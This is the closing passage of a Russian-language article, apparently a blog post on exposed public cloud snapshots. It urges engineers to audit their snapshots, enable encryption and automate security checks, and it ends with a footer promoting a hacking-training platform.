Ты, как инженер, который теперь знает, как выглядит проблема изнутри, становишься её решением. Начинай с себя. Проверь свои снапшоты сегодня. Настрой шифрование на новом проекте. Предложи коллегам написать скрипт автоматического аудита вместо того, чтобы делать рутинную проверку раз в квартал.

Помни: каждый публичный снепшот, который ты закрываешь, - это не просто устранение риска. Это акт солидарности со всем сообществом, которое пытается сделать этот цифровой мир чуть менее безумным. Мы строим систему, в которой даже человеческая ошибка не должна приводить к катастрофе. Это долгая работа, но она того стоит.

И да, когда в следующий раз увидишь в новостях историю об утечке, ты сможешь не просто покачать головой, а с уверенностью сказать: «У нас этого не случится. Мы проверили». А это, поверь, одно из лучших ощущений в нашей работе.
 
Мы в соцсетях:

Взломай свой первый сервер и прокачай скилл — Начни игру на HackerLab